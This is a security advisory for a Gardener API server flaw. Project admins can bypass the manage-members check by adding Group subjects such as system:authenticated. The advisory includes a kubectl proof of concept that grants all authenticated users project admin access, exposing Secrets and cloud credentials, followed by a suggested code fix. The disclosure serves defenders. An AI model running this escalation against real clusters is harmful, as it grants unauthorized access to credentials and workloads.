
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 1.142.6
Patched in 1.142.6
Vulnerable: >= 1.143.0, < 1.143.3
Patched in 1.143.3
Vulnerable: >= 1.144.0, < 1.144.2
Patched in 1.144.2
Details
The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.
The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states:
<img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />
However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:
func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
if apiequality.Semantic.DeepEqual(oldMembers, members) {
return false
}
if userIsOwner(userInfo, owner) {
return false
}
var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
// ...
return !oldHumanUsers.Equal(newHumanUsers)
}
The isHumanUser() function at admission.go only matches Kind == "User":
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check.
A project admin without manage-members permission can freely add or remove Group members.
Proof of concept:
manage-members permission:# Project members before the test:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes
test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members:# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no
test-admin-user cannot add a human User member (the check works for Users):$ kubectl patch --as=test-admin-user project local --type=merge -p '{
"spec": {
"members": [
{
"kind": "User",
"apiGroup": "rbac.authorization.k8s.io",
"name": "[email protected]",
"role": "viewer"
}
]
}
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"
# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
{
"op": "add",
"path": "/spec/members/-",
"value": {
"kind": "Group",
"apiGroup": "rbac.authorization.k8s.io",
"name": "system:authenticated",
"role": "admin",
"roles": ["admin"]
}
}
]'
project.core.gardener.cloud/local patched
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# - apiGroup: rbac.authorization.k8s.io
# kind: Group
# name: system:authenticated
# role: admin
# As a random user
$ kubectl [email protected] get shoots -n garden-local
NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE
local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m
Note:
[email protected]does not exist as a real user. However, the Kubernetes--asglobal flag performs user impersonation which is treated as a successfully authenticated request, automatically adding thesystem:authenticatedgroup. Sincesystem:authenticatedwas added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.
system:authenticated (all authenticated users) or system:unauthenticated (all unauthenticated users).isHumanUser() to include Groups: The function should match the documented behavior. Change:
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
To:
func isNonServiceAccountSubject(subject rbacv1.Subject) bool {
if subject.Kind == rbacv1.GroupKind {
return true
}
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
EPSS, exploit probability
Low0.39%
estimated chance of real-world exploitation in the next 30 days, higher than 33.2% of every CVE FIRST.org scores
Refreshed 11/7/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.